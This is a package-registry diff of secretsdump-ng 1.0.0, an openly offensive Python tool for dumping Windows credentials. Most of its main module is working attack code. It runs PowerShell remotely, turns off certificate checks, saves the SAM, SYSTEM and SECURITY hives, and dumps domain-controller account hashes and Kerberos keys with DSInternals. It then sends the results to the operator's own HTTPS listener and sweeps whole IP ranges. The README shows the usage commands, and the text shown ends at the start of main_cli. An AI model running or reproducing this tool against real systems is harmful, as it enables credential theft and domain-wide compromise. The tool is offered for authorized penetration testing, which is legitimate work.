secretsdump-ng 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,7 @@
1
+ Copyright 2026 Khael
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4
+
5
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6
+
7
+ THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
@@ -0,0 +1,86 @@
1
+ Metadata-Version: 2.4
2
+ Name: secretsdump-ng
3
+ Version: 1.0.0
4
+ Summary: Next-generation secretsdump tool using DSInternals for credential extraction
5
+ Author: Khael
6
+ Project-URL: Homepage, https://github.com/KhaelK138/secretsdump-ng
7
+ Project-URL: Repository, https://github.com/KhaelK138/secretsdump-ng
8
+ Project-URL: Issues, https://github.com/KhaelK138/secretsdump-ng/issues
9
+ Keywords: security,pentest,active-directory,credentials,secretsdump,secretsdump-ng
10
+ Classifier: Development Status :: 4 - Beta
11
+ Classifier: Intended Audience :: Information Technology
12
+ Classifier: Intended Audience :: System Administrators
13
+ Classifier: Programming Language :: Python :: 3
14
+ Classifier: Programming Language :: Python :: 3.8
15
+ Classifier: Programming Language :: Python :: 3.9
16
+ Classifier: Programming Language :: Python :: 3.10
17
+ Classifier: Programming Language :: Python :: 3.11
18
+ Classifier: Programming Language :: Python :: 3.12
19
+ Classifier: Topic :: Security
20
+ Requires-Python: >=3.8
21
+ Description-Content-Type: text/markdown
22
+ License-File: LICENSE
23
+ Requires-Dist: impacket>=0.11.0
24
+ Provides-Extra: dev
25
+ Requires-Dist: build; extra == "dev"
26
+ Requires-Dist: twine; extra == "dev"
27
+ Dynamic: license-file
28
+
29
+ # secretsdump-ng
30
+
31
+ Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).
32
+
33
+ Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.
34
+
35
+ ## Features
36
+
37
+ - **NTDS.DIT extraction** using DSInternals on Domain Controllers
38
+ - **Registry hive dumping** (SAM, SYSTEM, SECURITY) on all Windows systems
39
+ - **Multi-threaded** operations for dumping from multiple hosts
40
+ - **Secure transfer of credentials** via HTTPS
41
+ - **Formatted output** compatible with standard secretsdump format
42
+ - **Filtered extraction** - dump only specific users with `--just-dc-user`
43
+
44
+ ## Usage
45
+
46
+ ```bash
47
+ # Dump all credentials from a single host
48
+ secretsdump-ng 192.168.1.10 username password
49
+
50
+ # Dump from multiple hosts using IP range
51
+ secretsdump-ng 192.168.1.10-20 username password
52
+
53
+ # Dump only a specific user
54
+ secretsdump-ng 192.168.1.10 username password --just-dc-user administrator
55
+
56
+ # Use more threads for faster scanning
57
+ secretsdump-ng 192.168.1.1-254 username password --threads 20
58
+
59
+ # Verbose output
60
+ secretsdump-ng 192.168.1.10 username password -v
61
+ ```
62
+
63
+ ## How It Works
64
+
65
+ 1. **Sets up HTTPS server** on port 1338 to receive credential dumps
66
+ 2. **Executes PowerShell remotely** on target systems using `exec_across_windows.py`
67
+ 3. **Extracts registry hives** (SAM, SYSTEM, SECURITY) from all Windows systems
68
+ 4. **Extracts NTDS.DIT** using DSInternals on Domain Controllers
69
+ 5. **Processes and formats** credentials using impacket-secretsdump
70
+ 6. **Saves output** to `./secretsdump_ng_out/[IP]/secretsdump.out`
71
+
72
+
73
+ Admin accounts are highlighted with `(admin)` tag. Machine accounts are sorted to the bottom.
74
+
75
+ ## Security Notes
76
+
77
+ - Uses temporary SSL certificates for HTTPS transfers
78
+ - Temporary files on target systems are stored in `$env:TEMP` and cleaned up after extraction
79
+
80
+ ## License
81
+
82
+ MIT License - see LICENSE file for details
83
+
84
+ ## Disclaimer
85
+
86
+ This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems.
@@ -0,0 +1,58 @@
1
+ # secretsdump-ng
2
+
3
+ Credential dumping tool that uses DSInternals for extracting credentials from Windows systems, using any available command-execution port (rather than relying on 445).
4
+
5
+ Massive props to DSInternals & Impacket; this tool really isn't anything revolutionary and uses the impressive work already completed by Michael Grafnetter and the Fortra team.
6
+
7
+ ## Features
8
+
9
+ - **NTDS.DIT extraction** using DSInternals on Domain Controllers
10
+ - **Registry hive dumping** (SAM, SYSTEM, SECURITY) on all Windows systems
11
+ - **Multi-threaded** operations for dumping from multiple hosts
12
+ - **Secure transfer of credentials** via HTTPS
13
+ - **Formatted output** compatible with standard secretsdump format
14
+ - **Filtered extraction** - dump only specific users with `--just-dc-user`
15
+
16
+ ## Usage
17
+
18
+ ```bash
19
+ # Dump all credentials from a single host
20
+ secretsdump-ng 192.168.1.10 username password
21
+
22
+ # Dump from multiple hosts using IP range
23
+ secretsdump-ng 192.168.1.10-20 username password
24
+
25
+ # Dump only a specific user
26
+ secretsdump-ng 192.168.1.10 username password --just-dc-user administrator
27
+
28
+ # Use more threads for faster scanning
29
+ secretsdump-ng 192.168.1.1-254 username password --threads 20
30
+
31
+ # Verbose output
32
+ secretsdump-ng 192.168.1.10 username password -v
33
+ ```
34
+
35
+ ## How It Works
36
+
37
+ 1. **Sets up HTTPS server** on port 1338 to receive credential dumps
38
+ 2. **Executes PowerShell remotely** on target systems using `exec_across_windows.py`
39
+ 3. **Extracts registry hives** (SAM, SYSTEM, SECURITY) from all Windows systems
40
+ 4. **Extracts NTDS.DIT** using DSInternals on Domain Controllers
41
+ 5. **Processes and formats** credentials using impacket-secretsdump
42
+ 6. **Saves output** to `./secretsdump_ng_out/[IP]/secretsdump.out`
43
+
44
+
45
+ Admin accounts are highlighted with `(admin)` tag. Machine accounts are sorted to the bottom.
46
+
47
+ ## Security Notes
48
+
49
+ - Uses temporary SSL certificates for HTTPS transfers
50
+ - Temporary files on target systems are stored in `$env:TEMP` and cleaned up after extraction
51
+
52
+ ## License
53
+
54
+ MIT License - see LICENSE file for details
55
+
56
+ ## Disclaimer
57
+
58
+ This tool is intended for authorized security assessments only. Ensure you have proper authorization before using this tool on any systems.
@@ -0,0 +1,46 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
4
+
5
+ [project]
6
+ name = "secretsdump-ng"
7
+ version = "1.0.0"
8
+ description = "Next-generation secretsdump tool using DSInternals for credential extraction"
9
+ readme = "README.md"
10
+ authors = [
11
+ {name = "Khael"}
12
+ ]
13
+ classifiers = [
14
+ "Development Status :: 4 - Beta",
15
+ "Intended Audience :: Information Technology",
16
+ "Intended Audience :: System Administrators",
17
+ "Programming Language :: Python :: 3",
18
+ "Programming Language :: Python :: 3.8",
19
+ "Programming Language :: Python :: 3.9",
20
+ "Programming Language :: Python :: 3.10",
21
+ "Programming Language :: Python :: 3.11",
22
+ "Programming Language :: Python :: 3.12",
23
+ "Topic :: Security"
24
+ ]
25
+ keywords = ["security", "pentest", "active-directory", "credentials", "secretsdump", "secretsdump-ng"]
26
+ requires-python = ">=3.8"
27
+ dependencies = [
28
+ "impacket>=0.11.0",
29
+ ]
30
+
31
+ [project.optional-dependencies]
32
+ dev = [
33
+ "build",
34
+ "twine",
35
+ ]
36
+
37
+ [project.scripts]
38
+ secretsdump-ng = "secretsdump_ng.secretsdump_ng:main_cli"
39
+
40
+ [project.urls]
41
+ Homepage = "https://github.com/KhaelK138/secretsdump-ng"
42
+ Repository = "https://github.com/KhaelK138/secretsdump-ng"
43
+ Issues = "https://github.com/KhaelK138/secretsdump-ng/issues"
44
+
45
+ [tool.setuptools]
46
+ packages = ["secretsdump_ng"]
@@ -0,0 +1,3 @@
1
+ """exec-across-windows: Execute commands across Windows systems using multiple RCE methods"""
2
+
3
+ __version__ = "1.0.0"
@@ -0,0 +1,635 @@
1
+ #!/usr/bin/env python3
2
+ import os
3
+ import threading
4
+ import subprocess
5
+ import argparse
6
+ import socket
7
+ import string
8
+ import zipfile
9
+ import shutil
10
+ import sys
11
+ import ssl
12
+ import time
13
+ from http.server import SimpleHTTPRequestHandler, HTTPServer
14
+ from concurrent.futures import ThreadPoolExecutor, as_completed
15
+
16
+ # check exec-across-windows exists
17
+ if not shutil.which("exec-across-windows"):
18
+ print("[!] exec-across-windows not found. Install with: pipx install exec-across-windows")
19
+
20
+ DSINTERNALS_URL = "https://github.com/MichaelGrafnetter/DSInternals/releases/download/v6.2/DSInternals_v6.2.zip"
21
+ DSINTERNALS_ZIP = "DSInternals_v6.2.zip"
22
+ UPLOAD_DIR = "./secretsdump_ng_out/"
23
+ DSINTERNALS_SERVE_DIR = os.path.join(UPLOAD_DIR, "dsinternals_files")
24
+ CERT_FILE = os.path.join(UPLOAD_DIR, "cert.pem")
25
+ KEY_FILE = os.path.join(UPLOAD_DIR, "key.pem")
26
+
27
+
28
+ def parse_ip_range(ip_range):
29
+ """Parse IP range like 10.0.1-5.1-254 into list of IPs"""
30
+ parts = ip_range.split('.')
31
+ if len(parts) != 4:
32
+ raise SystemExit("Invalid IP range format")
33
+
34
+ def expand(part):
35
+ vals = []
36
+ for section in part.split(','):
37
+ if '-' in section:
38
+ s, e = map(int, section.split('-'))
39
+ vals.extend(range(s, e + 1))
40
+ else:
41
+ vals.append(int(section))
42
+ return vals
43
+
44
+ expanded = [expand(p) for p in parts]
45
+ return [
46
+ f"{a}.{b}.{c}.{d}"
47
+ for a in expanded[0]
48
+ for b in expanded[1]
49
+ for c in expanded[2]
50
+ for d in expanded[3]
51
+ ]
52
+
53
+
54
+ def get_host_ip_given_target(target_ip):
55
+ """Get the local IP address used to reach a target IP"""
56
+ try:
57
+ s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
58
+ s.connect((target_ip, 80))
59
+ local_ip = s.getsockname()[0]
60
+ s.close()
61
+ return local_ip
62
+ except:
63
+ return None
64
+
65
+
66
+ def generate_ssl_cert():
67
+ """Generate SSL certificate"""
68
+ if os.path.exists(CERT_FILE):
69
+ os.remove(CERT_FILE)
70
+ if os.path.exists(KEY_FILE):
71
+ os.remove(KEY_FILE)
72
+
73
+ print("[*] Generating SSL certificate...")
74
+ cmd = [
75
+ "openssl", "req", "-x509", "-newkey", "rsa:2048",
76
+ "-keyout", KEY_FILE,
77
+ "-out", CERT_FILE,
78
+ "-days", "1", "-nodes",
79
+ "-subj", "/CN=localhost"
80
+ ]
81
+
82
+ try:
83
+ subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
84
+ print("[*] SSL certificate generated")
85
+ except subprocess.CalledProcessError:
86
+ print("[!] Failed to generate SSL certificate for secure file transfers")
87
+ sys.exit(1)
88
+
89
+
90
+ def parse_ds_file(filepath):
91
+ """Parse DSInternals dump file and extract credentials"""
92
+ try:
93
+ with open(filepath, 'r', encoding='utf-16-le', errors='ignore') as f:
94
+ content = f.read()
95
+ except:
96
+ with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
97
+ content = f.read()
98
+
99
+ entries = []
100
+ current_entry = {}
101
+ in_kerberos_new = False
102
+ current_key_type = None
103
+
104
+ for line in content.split('\n'):
105
+ line = line.strip()
106
+
107
+ if not line:
108
+ continue
109
+
110
+ if line.startswith('DistinguishedName:'):
111
+ if current_entry:
112
+ entries.append(current_entry)
113
+ current_entry = {}
114
+ in_kerberos_new = False
115
+ current_key_type = None
116
+
117
+ elif line.startswith('SamAccountName:'):
118
+ current_entry['sam'] = line.split(':', 1)[1].strip()
119
+
120
+ elif line.startswith('Sid:'):
121
+ sid = line.split(':', 1)[1].strip()
122
+ current_entry['rid'] = sid.split('-')[-1]
123
+
124
+ elif line.startswith('AdminCount:'):
125
+ admin_value = line.split(':', 1)[1].strip()
126
+ current_entry['is_admin'] = (admin_value.lower() == 'true')
127
+
128
+ elif line.startswith('NTHash:'):
129
+ nt_hash = line.split(':', 1)[1].strip()
130
+ if nt_hash:
131
+ current_entry['nt'] = nt_hash
132
+ # Default empty LM hash value; same behavior as original secretsdump
133
+ current_entry['lm'] = "aad3b435b51404eeaad3b435b51404ee"
134
+
135
+ elif line.startswith('LMHash:'):
136
+ lm_hash = line.split(':', 1)[1].strip()
137
+ if lm_hash:
138
+ current_entry['lm'] = lm_hash
139
+
140
+ elif line.startswith('ClearText:'):
141
+ cleartext = line.split(':', 1)[1].strip()
142
+ if cleartext and all(ord(c) < 128 and c in string.printable for c in cleartext):
143
+ current_entry['cleartext'] = cleartext
144
+
145
+ elif line == 'KerberosNew:':
146
+ in_kerberos_new = True
147
+ if 'kerberos' not in current_entry:
148
+ current_entry['kerberos'] = {}
149
+
150
+ elif in_kerberos_new:
151
+ if line == 'AES256_CTS_HMAC_SHA1_96':
152
+ current_key_type = 'aes256'
153
+ elif line == 'AES128_CTS_HMAC_SHA1_96':
154
+ current_key_type = 'aes128'
155
+ elif line == 'DES_CBC_MD5':
156
+ current_key_type = 'des'
157
+ elif line.startswith('Key:') and current_key_type:
158
+ key = line.split(':', 1)[1].strip()
159
+ if key:
160
+ current_entry['kerberos'][current_key_type] = key
161
+ elif line in ['OldCredentials:', 'OlderCredentials:', 'ServiceCredentials:']:
162
+ in_kerberos_new = False
163
+
164
+ if current_entry:
165
+ entries.append(current_entry)
166
+
167
+ return entries
168
+
169
+
170
+ def format_ntds_output(entries):
171
+ """Format NTDS entries in secretsdump style"""
172
+ # Separate machine accounts (ending with $) from user accounts
173
+ user_entries = [e for e in entries if not e.get('sam', '').endswith('$')]
174
+ machine_entries = [e for e in entries if e.get('sam', '').endswith('$')]
175
+
176
+ # Sort users: admins first (alphabetically), then non-admins (alphabetically)
177
+ admin_users = sorted([e for e in user_entries if e.get('is_admin', False)], key=lambda x: x.get('sam', '').lower())
178
+ non_admin_users = sorted([e for e in user_entries if not e.get('is_admin', False)], key=lambda x: x.get('sam', '').lower())
179
+
180
+ # Sort machine accounts alphabetically
181
+ machine_entries = sorted(machine_entries, key=lambda x: x.get('sam', '').lower())
182
+
183
+ # Combine: admin users, non-admin users, then machine accounts
184
+ sorted_entries = admin_users + non_admin_users + machine_entries
185
+
186
+ lines = []
187
+ cleartext_lines = []
188
+ kerberos_lines = []
189
+
190
+ for entry in sorted_entries:
191
+ sam = entry.get('sam', '')
192
+ rid = entry.get('rid', '')
193
+ is_admin = entry.get('is_admin', False)
194
+ admin_tag = '\033[38;5;208m(admin)\033[0m ' if is_admin else ''
195
+
196
+ if not sam or not rid:
197
+ continue
198
+
199
+ nt = entry.get('nt', '')
200
+ lm = entry.get('lm', '')
201
+
202
+ if nt or lm:
203
+ lm_display = lm if lm else ''
204
+ nt_display = nt if nt else ''
205
+ if lm_display or nt_display:
206
+ lines.append(f"{admin_tag}{sam}:{rid}:{lm_display}:{nt_display}:::")
207
+
208
+ if 'cleartext' in entry:
209
+ cleartext_lines.append(f"{admin_tag}{sam}:CLEARTEXT:{entry['cleartext']}")
210
+
211
+ if 'kerberos' in entry and entry['kerberos']:
212
+ kerb = entry['kerberos']
213
+ kerb_parts = [sam]
214
+ if 'aes256' in kerb:
215
+ kerb_parts.append(f"aes256-cts-hmac-sha1-96:{kerb['aes256']}")
216
+ if 'aes128' in kerb:
217
+ kerb_parts.append(f"aes128-cts-hmac-sha1-96:{kerb['aes128']}")
218
+ if 'des' in kerb:
219
+ kerb_parts.append(f"des-cbc-md5:{kerb['des']}")
220
+ if len(kerb_parts) > 1:
221
+ kerberos_lines.append(admin_tag + ':'.join(kerb_parts))
222
+
223
+ output = []
224
+ if lines:
225
+ output.append("[*] Dumping NTDS.DIT secrets")
226
+ output.extend(lines)
227
+
228
+ if cleartext_lines:
229
+ output.append("")
230
+ output.append("[*] ClearText passwords grabbed")
231
+ output.extend(cleartext_lines)
232
+
233
+ if kerberos_lines:
234
+ output.append("")
235
+ output.append("[*] Kerberos keys grabbed")
236
+ output.extend(kerberos_lines)
237
+
238
+ output.append(f"\n[*] Using Impacket's secretsdump to dump from registry hives...")
239
+
240
+ return '\n'.join(output) if output else ''
241
+
242
+
243
+ def filter_secretsdump_output(output, just_dc_user):
244
+ """Filter secretsdump output to only include specified user"""
245
+ if not just_dc_user:
246
+ return output
247
+
248
+ lines = output.split('\n')
249
+ filtered_lines = []
250
+ in_relevant_section = False
251
+ found_user = False
252
+
253
+ for line in lines:
254
+ # Keep header lines
255
+ if line.startswith('[*]'):
256
+ filtered_lines.append(line)
257
+ in_relevant_section = True
258
+ continue
259
+
260
+ # Empty lines reset section tracking
261
+ if not line.strip():
262
+ if found_user:
263
+ filtered_lines.append(line)
264
+ in_relevant_section = False
265
+ continue
266
+
267
+ # Check if this line contains the target user
268
+ if in_relevant_section and ':' in line:
269
+ username = line.split(':')[0]
270
+ if just_dc_user.lower() in username.lower():
271
+ filtered_lines.append(line)
272
+ found_user = True
273
+
274
+ if found_user:
275
+ return '\n'.join(filtered_lines)
276
+ else:
277
+ return f"\033[33m[!] Secretsdump succeeded, but found no matching user: {just_dc_user}.\033[0m"
278
+
279
+
280
+ def process_registry_hives(zip_path, ip, just_dc_user=None):
281
+ """Extract registry hives and run impacket-secretsdump"""
282
+ try:
283
+ extract_dir = os.path.join(UPLOAD_DIR, ip)
284
+ os.makedirs(extract_dir, exist_ok=True)
285
+
286
+ # Print immediately when we receive the hives
287
+ sys.stderr.write(f"\033[32m[+]\033[0m Registry hives received from {ip}\n")
288
+ sys.stderr.flush()
289
+
290
+ with zipfile.ZipFile(zip_path, 'r') as zip_ref:
291
+ zip_ref.extractall(extract_dir)
292
+
293
+ sam_path = os.path.join(extract_dir, 'SAM')
294
+ system_path = os.path.join(extract_dir, 'SYSTEM')
295
+ security_path = os.path.join(extract_dir, 'SECURITY')
296
+
297
+ sd_cmd = "secretsdump.py"
298
+ if shutil.which("impacket-secretsdump"):
299
+ sd_cmd = "impacket-secretsdump"
300
+ elif shutil.which("secretsdump.py"):
301
+ sd_cmd = "secretsdump.py"
302
+ else:
303
+ sys.stderr.write("[-] impacket not found, cannot secretsdump from downloaded hives. Install with: pipx install impacket\n")
304
+ sys.stderr.flush()
305
+ sys.exit(1)
306
+
307
+ sys.stderr.flush()
308
+
309
+ cmd = [
310
+ sd_cmd,
311
+ '-sam', sam_path,
312
+ '-system', system_path,
313
+ '-security', security_path,
314
+ 'LOCAL'
315
+ ]
316
+
317
+ result = subprocess.run(cmd, capture_output=True, text=True)
318
+ os.remove(zip_path)
319
+
320
+ # Filter output if just_dc_user is specified
321
+ output = filter_secretsdump_output(result.stdout, just_dc_user)
322
+
323
+ return output
324
+
325
+ except Exception as e:
326
+ sys.stderr.write(f"[!] Error processing registry hives for {ip}: {e}\n")
327
+ sys.stderr.flush()
328
+ return ''
329
+
330
+
331
+ def finalize_output(ip, run_start_time):
332
+ """Combine NTDS dump (if exists) with secretsdump output"""
333
+ extract_dir = os.path.join(UPLOAD_DIR, ip)
334
+ ntds_file = os.path.join(extract_dir, f'ntds_{ip}.out')
335
+ final_output = os.path.join(extract_dir, f'secretsdump.out')
336
+
337
+ output_parts = []
338
+
339
+ # Check for NTDS dump
340
+ if os.path.exists(ntds_file) and os.path.getmtime(ntds_file) > run_start_time:
341
+ entries = parse_ds_file(ntds_file)
342
+ ntds_output = format_ntds_output(entries)
343
+ if ntds_output:
344
+ output_parts.append(ntds_output)
345
+ os.remove(ntds_file)
346
+ sys.stderr.write(f"\033[32m[+]\033[0m NTDS dump received from {ip}\n")
347
+ threading.Event().wait(1)
348
+ sys.stderr.flush()
349
+
350
+ # Check for secretsdump output
351
+ hives_output_file = os.path.join(extract_dir, 'secretsdump_output.txt')
352
+ if os.path.exists(hives_output_file) and os.path.getmtime(hives_output_file) > run_start_time:
353
+ with open(hives_output_file, 'r') as f:
354
+ hives_output = f.read().strip()
355
+ if hives_output:
356
+ if output_parts:
357
+ output_parts.append('')
358
+ output_parts.append(hives_output)
359
+ os.remove(hives_output_file)
360
+
361
+ # Write final output
362
+ if output_parts:
363
+ final_content = '\n'.join(output_parts)
364
+
365
+ # Write output (full dump always overwrites, single-user only if file doesn't exist)
366
+ with open(final_output, 'w') as f:
367
+ f.write(final_content)
368
+ sys.stderr.write(f"\033[32m[+]\033[0m Credentials saved to: {final_output}\n")
369
+ sys.stderr.flush()
370
+ return final_content
371
+
372
+ return None
373
+
374
+
375
+ class FileUploadHTTPRequestHandler(SimpleHTTPRequestHandler):
376
+ """HTTPS handler for receiving credential dumps"""
377
+
378
+ def __init__(self, *args, **kwargs):
379
+ super().__init__(*args, directory=DSINTERNALS_SERVE_DIR, **kwargs)
380
+
381
+ def do_POST(self):
382
+ os.makedirs(UPLOAD_DIR, exist_ok=True)
383
+
384
+ try:
385
+ content_length = int(self.headers.get('Content-Length', 0))
386
+ data = self.rfile.read(content_length)
387
+
388
+ filename = self.headers.get('filename', 'upload.bin')
389
+ filename = os.path.basename(filename)
390
+
391
+ if filename.startswith('hives_'):
392
+ ip = filename.replace('hives_', '').replace('.zip', '')
393
+ extract_dir = os.path.join(UPLOAD_DIR, ip)
394
+ os.makedirs(extract_dir, exist_ok=True)
395
+ zip_path = os.path.join(extract_dir, filename)
396
+
397
+ with open(zip_path, 'wb') as f:
398
+ f.write(data)
399
+
400
+ # Get just_dc_user from server if available
401
+ just_dc_user = getattr(self.server, 'just_dc_user', None)
402
+ hives_output = process_registry_hives(zip_path, ip, just_dc_user)
403
+ output_file = os.path.join(extract_dir, 'secretsdump_output.txt')
404
+ with open(output_file, 'w') as f:
405
+ f.write(hives_output)
406
+
407
+ elif filename.startswith('ntds_'):
408
+ ip = filename.replace('ntds_', '').replace('.out', '')
409
+ extract_dir = os.path.join(UPLOAD_DIR, ip)
410
+ os.makedirs(extract_dir, exist_ok=True)
411
+ out_path = os.path.join(extract_dir, filename)
412
+
413
+ with open(out_path, 'wb') as f:
414
+ f.write(data)
415
+
416
+ self.send_response(200)
417
+ self.end_headers()
418
+ self.wfile.write(b'OK')
419
+
420
+ except Exception as e:
421
+ print(f"[!] Upload error: {e}")
422
+ self.send_response(500)
423
+ self.end_headers()
424
+
425
+ def log_message(self, format, *args):
426
+ if hasattr(self.server, 'verbose') and self.server.verbose:
427
+ super().log_message(format, *args)
428
+ else:
429
+ pass
430
+
431
+
432
+ def start_upload_server(just_dc_user=None, verbose=False):
433
+ """Start HTTPS server for receiving credential uploads on port 1338"""
434
+ http_server = HTTPServer(("0.0.0.0", 1338), FileUploadHTTPRequestHandler)
435
+
436
+ # Store just_dc_user in server for handler access
437
+ http_server.just_dc_user = just_dc_user
438
+ http_server.verbose = verbose
439
+
440
+ # Wrap with SSL
441
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
442
+ context.load_cert_chain(CERT_FILE, KEY_FILE)
443
+ http_server.socket = context.wrap_socket(http_server.socket, server_side=True)
444
+
445
+ global https_server
446
+ https_server = http_server
447
+ https_server.serve_forever()
448
+
449
+
450
+ https_server = None
451
+
452
+
453
+ print_lock = threading.Lock()
454
+
455
+
456
+ def run_secretsdump(ip, username, password, just_dc_user, verbose, show_single_output, timeout=30):
457
+
458
+ run_start_time = time.time()
459
+
460
+ with print_lock:
461
+ print(f"[*] Attempting to secretsdump on {ip} using credentials {username}:{password}")
462
+
463
+ host_ip = get_host_ip_given_target(ip)
464
+
465
+ if just_dc_user:
466
+ who_to_dump = f"-SamAccountName {just_dc_user}"
467
+ else:
468
+ who_to_dump = f"-All"
469
+
470
+ ps_script = f'''
471
+ [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
472
+ Add-Type @"
473
+ using System.Net;
474
+ using System.Security.Cryptography.X509Certificates;
475
+ public class TrustAllCertsPolicy : ICertificatePolicy {{
476
+ public bool CheckValidationResult(
477
+ ServicePoint srvPoint, X509Certificate certificate,
478
+ WebRequest request, int certificateProblem) {{
479
+ return true;
480
+ }}
481
+ }}
482
+ "@
483
+ [System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
484
+
485
+ $isDC = $false
486
+ try {{
487
+ $ntds = (Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS" -ErrorAction SilentlyContinue).ObjectName
488
+ if ($ntds) {{ $isDC = $true }}
489
+ }} catch {{}}
490
+
491
+ reg save HKLM\\SAM $env:TEMP\\SAM /y | Out-Null
492
+ reg save HKLM\\SYSTEM $env:TEMP\\SYSTEM /y | Out-Null
493
+ reg save HKLM\\SECURITY $env:TEMP\\SECURITY /y | Out-Null
494
+
495
+ Compress-Archive -Path $env:TEMP\\SAM,$env:TEMP\\SYSTEM,$env:TEMP\\SECURITY -DestinationPath $env:TEMP\\hives_{ip}.zip -Force
496
+
497
+ iwr -Uri "https://{host_ip}:1338/upload?filename=hives_{ip}.zip" -Method Post -InFile "$env:TEMP\\hives_{ip}.zip" -Headers @{{"filename"="hives_{ip}.zip"}} -UseBasicParsing | Out-Null
498
+
499
+ del $env:TEMP\\SAM
500
+ del $env:TEMP\\SYSTEM
501
+ del $env:TEMP\\SECURITY
502
+ del $env:TEMP\\hives_{ip}.zip
503
+
504
+ if ($isDC) {{
505
+ iwr https://{host_ip}:1338/{DSINTERNALS_ZIP} -o $env:TEMP\\DSInternals.zip
506
+ Expand-Archive $env:TEMP\\DSInternals.zip -d $env:TEMP\\DSInternals\\
507
+
508
+ $job = Start-Job -ScriptBlock {{
509
+ Import-Module $env:TEMP\\DSInternals\\DSInternals\\DSInternals.psd1
510
+ Get-ADReplAccount -Server LOCALHOST {who_to_dump} | Out-File $env:TEMP\\ntds_{ip}.out -Encoding Unicode
511
+ }}
512
+
513
+ Wait-Job $job | Out-Null
514
+ Remove-Job $job
515
+
516
+ iwr -Uri "https://{host_ip}:1338/upload?filename=ntds_{ip}.out" -Method Post -InFile "$env:TEMP\\ntds_{ip}.out" -Headers @{{"filename"="ntds_{ip}.out"}} -UseBasicParsing | Out-Null
517
+ del $env:TEMP\\ntds_{ip}.out
518
+ del $env:TEMP\\DSInternals.zip
519
+ del $env:TEMP\\DSInternals\\ -recurse
520
+ }}
521
+ '''
522
+
523
+ try:
524
+ # Build the exec-across-windows command
525
+ exec_cmd = ["exec-across-windows", ip, username, password, ps_script, "--timeout", str(timeout), "--threads", "1"]
526
+
527
+ # Run with subprocess
528
+ if verbose:
529
+ result = subprocess.run(exec_cmd)
530
+ else:
531
+ result = subprocess.run(exec_cmd, capture_output=True, text=True)
532
+
533
+ # Wait a moment for files to be uploaded and processed
534
+ threading.Event().wait(2)
535
+
536
+ if not verbose:
537
+ output = result.stdout + result.stderr
538
+ if "No required ports open" in output:
539
+ with print_lock:
540
+ print(f"\033[31m[-]\033[0m Unable to secretsdump on {ip}. No necessary ports are available.")
541
+ if "All tools failed for" in output:
542
+ with print_lock:
543
+ print(f"\033[31m[-]\033[0m Unable to secretsdump on {ip}. Seems the credentials aren't working.")
544
+
545
+ final_content = finalize_output(ip, run_start_time)
546
+
547
+ if final_content and show_single_output:
548
+ with print_lock:
549
+ print(f"\n{'='*60}")
550
+ print(f"Results for {ip}:")
551
+ print('='*60)
552
+ print(final_content)
553
+ print('='*60)
554
+
555
+ except Exception as e:
556
+ with print_lock:
557
+ print(f"[!] Error on {ip}: {e}")
558
+
559
+
560
+ def main(args):
561
+ # Create directories
562
+ os.makedirs(UPLOAD_DIR, exist_ok=True)
563
+ os.makedirs(DSINTERNALS_SERVE_DIR, exist_ok=True)
564
+
565
+ # Generate SSL certificate
566
+ generate_ssl_cert()
567
+
568
+ # Download and prepare DSInternals
569
+ dsinternals_path = os.path.join(DSINTERNALS_SERVE_DIR, DSINTERNALS_ZIP)
570
+
571
+ if not os.path.exists(dsinternals_path):
572
+ print("[*] Downloading DSInternals...")
573
+ try:
574
+ subprocess.check_call(["wget", "-q", "-O", dsinternals_path, DSINTERNALS_URL])
575
+ except subprocess.CalledProcessError:
576
+ print("[!] Failed to download DSInternals")
577
+ return
578
+
579
+ print("[*] Starting HTTPS server on port 1338")
580
+ threading.Thread(target=start_upload_server, args=(args.just_dc_user, args.verbose), daemon=True).start()
581
+
582
+ targets = parse_ip_range(args.ip_range)
583
+ show_single_output = len(targets) == 1
584
+
585
+ print(f"[*] Targeting {len(targets)} host(s)")
586
+ if args.just_dc_user:
587
+ print(f"[*] Dumping only user: {args.just_dc_user}")
588
+ print(f"[*] Output directory: {os.path.abspath(UPLOAD_DIR)}")
589
+ print("-"*60)
590
+
591
+ with ThreadPoolExecutor(max_workers=args.threads) as pool:
592
+ futures = [
593
+ pool.submit(
594
+ run_secretsdump,
595
+ ip,
596
+ args.username,
597
+ args.password,
598
+ args.just_dc_user,
599
+ args.verbose,
600
+ show_single_output,
601
+ args.timeout
602
+ )
603
+ for ip in targets
604
+ ]
605
+ for _ in as_completed(futures):
606
+ pass
607
+
608
+ print("\n[*] All tasks completed")
609
+
610
+ if https_server:
611
+ print("[*] Shutting down HTTPS server...")
612
+ https_server.shutdown()
613
+
614
+ print("[*] Done!")
615
+
616
+
617
+ def main_cli():
618
+ """CLI entry point for pip installation"""
619
+ parser = argparse.ArgumentParser(description="secretsdump automation")
620
